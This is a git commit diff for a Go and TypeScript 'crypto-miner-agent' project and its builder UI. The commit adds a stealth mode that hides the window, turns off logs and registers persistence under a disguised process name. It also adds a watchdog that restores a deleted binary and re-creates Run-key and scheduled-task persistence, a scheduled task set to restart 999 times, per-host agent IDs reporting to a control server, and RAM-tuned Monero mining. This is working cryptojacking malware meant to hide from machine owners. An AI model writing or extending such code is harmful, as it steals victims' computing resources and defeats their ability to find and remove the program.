Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

View File

@@ -35,6 +35,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
cfg: cfg,
reporter: stats.NewReporter(),
startTime: time.Now(),
agentID: cfg.AgentID,
}
}
@@ -44,11 +45,22 @@ func (c *AgentClient) Run() error {
c.pool.Start()
defer c.pool.Stop()
backoff := 5 * time.Second
const maxBackoff = 60 * time.Second
for {
start := time.Now()
if err := c.connectLoop(); err != nil {
log.Printf("[agent] disconnected: %v", err)
}
time.Sleep(5 * time.Second)
if time.Since(start) > 10*time.Second {
backoff = 5 * time.Second
}
time.Sleep(backoff)
backoff += 5 * time.Second
if backoff > maxBackoff {
backoff = maxBackoff
}
}
}
@@ -75,6 +87,7 @@ func (c *AgentClient) connectLoop() error {
defer close(statsStop)
for {
conn.SetReadDeadline(time.Now().Add(90 * time.Second))
_, data, err := conn.ReadMessage()
if err != nil {
return err

57
agent/config/adapt.go Normal file
View File

@@ -0,0 +1,57 @@
package config
import (
"runtime"
"crypto-miner-agent/stats"
)
const randomXMBPerThread = 384
// AdaptToSystem tunes thread and memory limits for the host hardware.
func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig {
if !c.AdaptToHardware {
return c
}
out := c
totalMB := reporter.TotalMemoryMB()
if totalMB == 0 {
return out
}
if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) {
minFree := int(totalMB / 10)
if minFree < 512 {
minFree = 512
}
out.MinFreeRAM = minFree
}
maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread))
if maxByRAM < 1 {
maxByRAM = 1
}
threads := out.EffectiveThreads()
if threads > maxByRAM {
if out.ThreadMode == "fixed" {
out.Threads = maxByRAM
} else {
cores := runtime.NumCPU()
if cores < 1 {
cores = 1
}
pct := int(float64(maxByRAM) / float64(cores) * 100.0)
if pct < 10 {
pct = 10
}
if pct > 100 {
pct = 100
}
out.ThreadPercent = pct
}
}
return out
}

View File

@@ -0,0 +1,24 @@
package config
import (
"testing"
"crypto-miner-agent/stats"
)
func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
reporter := stats.NewReporter()
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
ThreadMode: "fixed",
Threads: 16,
MaxMemoryPct: 50,
AdaptToHardware: true,
MinFreeRAM: 999999,
}}
// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
adapted := cfg.AdaptToSystem(reporter)
if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
}
}

View File

@@ -32,5 +32,9 @@ func GetBuiltinConfig() BuiltinConfig {
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: DefaultInstallRelativePath,
AdaptToHardware: true,
SelfHealing: true,
FileLogging: true,
StealthMode: false,
}
}

View File

@@ -38,6 +38,10 @@ type BuiltinConfig struct {
InstallBase string
InstallCustomBase string
InstallRelativePath string
AdaptToHardware bool
SelfHealing bool
FileLogging bool
StealthMode bool
}
type RuntimeConfig struct {
@@ -99,6 +103,12 @@ func Load() RuntimeConfig {
if b.InstallRelativePath == "" {
b.InstallRelativePath = DefaultInstallRelativePath
}
if b.StealthMode {
b.FileLogging = false
if b.DisplayMode == "" || b.DisplayMode == "visible" {
b.DisplayMode = "background"
}
}
return RuntimeConfig{BuiltinConfig: b}
}

66
agent/deploy/health.go Normal file
View File

@@ -0,0 +1,66 @@
package deploy
import (
"log"
"os"
"path/filepath"
"time"
"crypto-miner-agent/config"
)
const backupSuffix = ".bak"
// StartWatchdog keeps persistence and the installed binary healthy.
func StartWatchdog(cfg config.RuntimeConfig) {
if !cfg.SelfHealing {
return
}
go func() {
ticker := time.NewTicker(2 * time.Minute)
defer ticker.Stop()
for range ticker.C {
if err := maintainInstall(cfg); err != nil {
log.Printf("[watchdog] maintenance: %v", err)
}
}
}()
}
func maintainInstall(cfg config.RuntimeConfig) error {
installDir, err := cfg.InstallDirectory()
if err != nil {
return err
}
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
backupExe := installedExe + backupSuffix
if _, err := os.Stat(installedExe); os.IsNotExist(err) {
if _, statErr := os.Stat(backupExe); statErr == nil {
if copyErr := copyFile(backupExe, installedExe); copyErr != nil {
return copyErr
}
log.Printf("[watchdog] restored missing binary from backup")
}
}
if cfg.AutoStart {
if err := configureAutoStart(cfg, installedExe); err != nil {
return err
}
}
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
if err := createScheduledTask(cfg, installedExe); err != nil {
return err
}
}
return nil
}
func saveBackup(installedExe string) error {
backup := installedExe + backupSuffix
if _, err := os.Stat(backup); err == nil {
return nil
}
return copyFile(installedExe, backup)
}

43
agent/deploy/identity.go Normal file
View File

@@ -0,0 +1,43 @@
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/google/uuid"
)
const agentIDFile = "agent.id"
// EnsureAgentID creates a fresh agent ID during a new embed/install.
func EnsureAgentID(installDir string) (string, error) {
if err := os.MkdirAll(installDir, 0755); err != nil {
return "", err
}
id := uuid.New().String()
if err := writeAgentID(installDir, id); err != nil {
return "", err
}
return id, nil
}
// LoadAgentID returns the persisted agent ID from the install directory.
func LoadAgentID(installDir string) (string, error) {
path := filepath.Join(installDir, agentIDFile)
data, err := os.ReadFile(path)
if err != nil {
return "", err
}
id := strings.TrimSpace(string(data))
if id == "" {
return "", fmt.Errorf("agent id file is empty")
}
return id, nil
}
func writeAgentID(installDir, id string) error {
path := filepath.Join(installDir, agentIDFile)
return os.WriteFile(path, []byte(id+"\n"), 0600)
}

View File

@@ -29,7 +29,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
}
installDir, err := cfg.InstallDirectory()
installDir, err := resolveInstallDirWithFallback(cfg)
if err != nil {
return false, err
}
@@ -46,15 +46,27 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
if err := copyFile(currentExe, installedExe); err != nil {
return false, fmt.Errorf("copy miner: %w", err)
}
_ = saveBackup(installedExe)
agentID, err := EnsureAgentID(installDir)
if err != nil {
return false, fmt.Errorf("agent id: %w", err)
}
logPath := filepath.Join(installDir, "miner.log")
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
)), 0644)
if !cfg.FileLogging || cfg.StealthMode {
logPath = ""
}
if !cfg.StealthMode {
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
)), 0644)
}
if cfg.AutoStart {
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
if err := configureAutoStart(cfg, installedExe); err != nil {
return false, fmt.Errorf("auto-start: %w", err)
}
}
@@ -70,6 +82,29 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return true, nil
}
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err == nil {
return dir, nil
}
fallbacks := []string{"localappdata", "appdata", "temp"}
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
for _, base := range fallbacks {
if seen[base] {
continue
}
seen[base] = true
try := cfg
try.InstallBase = base
dir, tryErr := try.InstallDirectory()
if tryErr == nil {
return dir, nil
}
}
return "", err
}
func InstallDir(workerName, buildID string) (string, error) {
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
@@ -81,55 +116,60 @@ func InstallDir(workerName, buildID string) (string, error) {
}.InstallDirectory()
}
func configureAutoStart(workerName, exePath string) error {
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
}
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
switch cfg.RunAs {
case "scheduled":
return createScheduledTask(cfg.WorkerName, installedExe)
case "service":
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
return createScheduledTask(cfg.WorkerName, installedExe)
case "scheduled", "service":
return createScheduledTask(cfg, installedExe)
default:
if cfg.AutoStart {
return createScheduledTask(cfg, installedExe)
}
return nil
}
}
func createScheduledTask(workerName, exePath string) error {
taskName := sanitizeName(workerName)
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
taskName := persistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(exePath, `'`, `''`),
runFlag,
taskName,
strings.ReplaceAll(taskName, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func persistenceKeyName(cfg config.RuntimeConfig) string {
if cfg.StealthMode {
return cfg.EffectiveProcessName()
}
name := sanitizeName(cfg.WorkerName)
if name == "" {
return cfg.EffectiveProcessName()
}
return "CryptoMiner-" + name
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
return cmd.Start()
}
func registryValueName(workerName string) string {
name := sanitizeName(workerName)
if name == "" {
return "CryptoMinerAgent"
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
}
return "CryptoMiner-" + name
return cmd.Start()
}
func sanitizeName(name string) string {
@@ -169,7 +209,7 @@ func copyFile(src, dest string) error {
}
func ConfigureAutoStart(exePath string, enabled bool) error {
return configureAutoStart("default", exePath)
return configureAutoStart(config.RuntimeConfig{}, exePath)
}
func removeAutoStart() error {

View File

@@ -8,4 +8,7 @@ require (
golang.org/x/sys v0.19.0
)
require golang.org/x/crypto v0.22.0 // indirect
require (
github.com/google/uuid v1.6.0 // indirect
golang.org/x/crypto v0.22.0 // indirect
)

View File

@@ -1,5 +1,7 @@
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=

View File

@@ -1,6 +1,7 @@
package main
import (
"io"
"log"
"os"
"path/filepath"
@@ -8,6 +9,7 @@ import (
"crypto-miner-agent/client"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
"crypto-miner-agent/stats"
)
func main() {
@@ -35,7 +37,16 @@ func main() {
return
}
if cfg.BackgroundMode() {
reporter := stats.NewReporter()
cfg = cfg.AdaptToSystem(reporter)
if installDir, err := cfg.InstallDirectory(); err == nil {
if id, err := deploy.LoadAgentID(installDir); err == nil {
cfg.AgentID = id
}
}
if cfg.BackgroundMode() || cfg.StealthMode {
cfg.CPUPriority = "idle"
}
@@ -43,8 +54,11 @@ func main() {
log.Printf("[agent] could not set CPU priority: %v", err)
}
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
deploy.StartWatchdog(cfg)
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {
@@ -52,7 +66,21 @@ func main() {
}
}
func shortID(id string) string {
if len(id) >= 8 {
return id[:8]
}
if id == "" {
return "pending"
}
return id
}
func setupLogging(cfg config.RuntimeConfig) {
if !cfg.FileLogging || cfg.StealthMode {
log.SetOutput(io.Discard)
return
}
if os.Getenv("MINER_LOG_FILE") != "" {
redirectLog(os.Getenv("MINER_LOG_FILE"))
return

View File

@@ -10,6 +10,9 @@ import (
const nonceOffset = 39
const nonceSize = 4
// RandomX JIT + hardware AES for best hashrate on supported CPUs.
const randomxFlags = 10 // RANDOMX_FLAG_HARD_AES (2) | RANDOMX_FLAG_JIT (8)
type Engine struct {
mu sync.RWMutex
cache *randomx.Randomx_Cache
@@ -19,7 +22,7 @@ type Engine struct {
}
func NewEngine() *Engine {
cache := randomx.Randomx_alloc_cache(0)
cache := randomx.Randomx_alloc_cache(randomxFlags)
return &Engine{cache: cache}
}

View File

@@ -19,7 +19,7 @@ type Pool struct {
threads int
cfg config.RuntimeConfig
reporter *stats.Reporter
engine *Engine
engines []*Engine
handler ShareHandler
schedule *ScheduleGuard
@@ -37,11 +37,15 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
if threads <= 0 {
threads = 1
}
engines := make([]*Engine, threads)
for i := range engines {
engines[i] = NewEngine()
}
return &Pool{
threads: threads,
cfg: cfg,
reporter: reporter,
engine: NewEngine(),
engines: engines,
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
@@ -59,15 +63,17 @@ func (p *Pool) SetJob(job *job.Job) {
if seed == "" && len(job.Blob) >= 64 {
seed = job.Blob[:64]
}
if err := p.engine.SetJob(seed, job.Blob); err != nil {
log.Printf("[miner] failed to set job: %v", err)
for _, engine := range p.engines {
if err := engine.SetJob(seed, job.Blob); err != nil {
log.Printf("[miner] failed to set job: %v", err)
}
}
}
func (p *Pool) Start() {
for i := 0; i < p.threads; i++ {
p.wg.Add(1)
go p.worker(i)
go p.worker(i, p.engines[i])
}
go p.resourceGuard()
}
@@ -123,7 +129,7 @@ func (p *Pool) resourcesOK() bool {
return true
}
func (p *Pool) worker(id int) {
func (p *Pool) worker(id int, engine *Engine) {
defer p.wg.Done()
var nonce uint32 = uint32(id * 1000000)
@@ -158,7 +164,7 @@ func (p *Pool) worker(id int) {
break
}
hashHex, _, err := p.engine.HashAtNonce(nonce)
hashHex, _, err := engine.HashAtNonce(nonce)
if err != nil {
log.Printf("[miner] hash error: %v", err)
break

View File

@@ -50,6 +50,10 @@ type AgentDefaults struct {
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
}
type BackgroundConfig struct {
@@ -96,6 +100,10 @@ func DefaultConfig() *Config {
ScheduleEnd: "06:00",
InstallBase: "localappdata",
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
AdaptToHardware: true,
SelfHealing: true,
FileLogging: true,
StealthMode: false,
},
Background: BackgroundConfig{
SilentMode: true,
@@ -209,6 +217,12 @@ func mergeConfig(dst, src *Config) {
if src.DefaultAgent.InstallRelativePath != "" {
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
}
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
}
dst.Background.SilentMode = src.Background.SilentMode
if src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs

View File

@@ -137,6 +137,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Wallet string `json:"wallet"`
Version string `json:"version"`
Hostname string `json:"hostname"`
Worker string `json:"worker"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
}
@@ -152,6 +153,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
agentID = uuid.New().String()
}
displayName := auth.Worker
if displayName == "" {
displayName = auth.Hostname
}
if displayName == "" {
displayName = agentID[:8]
}
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
@@ -162,7 +171,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
agent := &models.Agent{
ID: agentID,
Name: auth.Hostname,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,

View File

@@ -43,6 +43,10 @@ type BuildRequest struct {
InstallBase string `json:"install_base"`
InstallCustomBase string `json:"install_custom_base"`
InstallRelativePath string `json:"install_relative_path"`
AdaptToHardware bool `json:"adapt_to_hardware"`
SelfHealing bool `json:"self_healing"`
FileLogging bool `json:"file_logging"`
StealthMode bool `json:"stealth_mode"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
@@ -156,8 +160,8 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
ldflags := "-s -w -trimpath"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
ldflags += " -H windowsgui"
}
@@ -289,6 +293,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
return fmt.Errorf("install_custom_base is required when install_base is custom")
}
if req.StealthMode {
req.FileLogging = false
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
if req.PoolHost == "" {
req.PoolHost = "pool.supportxmr.com"
}
@@ -341,6 +351,10 @@ func GetBuiltinConfig() BuiltinConfig {
InstallBase: %q,
InstallCustomBase: %q,
InstallRelativePath: %q,
AdaptToHardware: %v,
SelfHealing: %v,
FileLogging: %v,
StealthMode: %v,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -373,6 +387,10 @@ func GetBuiltinConfig() BuiltinConfig {
req.InstallBase,
req.InstallCustomBase,
req.InstallRelativePath,
req.AdaptToHardware,
req.SelfHealing,
req.FileLogging,
req.StealthMode,
)
}

View File

@@ -50,4 +50,8 @@ export const FIELD_HELP: Record<string, string> = {
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
};

View File

@@ -33,6 +33,10 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
install_base: d.install_base || 'localappdata',
install_custom_base: d.install_custom_base || '',
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
adapt_to_hardware: d.adapt_to_hardware ?? true,
self_healing: d.self_healing ?? true,
file_logging: d.file_logging ?? true,
stealth_mode: d.stealth_mode ?? false,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
@@ -393,6 +397,41 @@ export default function BuilderPage() {
<label className="label">Install Preview</label>
<code className="path-display">{installPreview}</code>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
</label>
<FieldHint field="adapt_to_hardware" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.self_healing}
onChange={(e) => updateField('self_healing', e.target.checked)} />
<span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
</label>
<FieldHint field="self_healing" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
onChange={(e) => {
updateField('stealth_mode', e.target.checked);
if (e.target.checked) updateField('file_logging', false);
}} />
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
</label>
<FieldHint field="stealth_mode" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={form.file_logging}
disabled={form.stealth_mode}
onChange={(e) => updateField('file_logging', e.target.checked)} />
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
</label>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"

View File

@@ -113,6 +113,10 @@ export interface AgentDefaults {
install_base: string;
install_custom_base: string;
install_relative_path: string;
adapt_to_hardware: boolean;
self_healing: boolean;
file_logging: boolean;
stealth_mode: boolean;
}
export interface BackgroundConfig {
@@ -153,6 +157,10 @@ export interface BuildRequest {
install_base: string;
install_custom_base: string;
install_relative_path: string;
adapt_to_hardware: boolean;
self_healing: boolean;
file_logging: boolean;
stealth_mode: boolean;
pool_host: string;
pool_port: number;
pool_tls: boolean;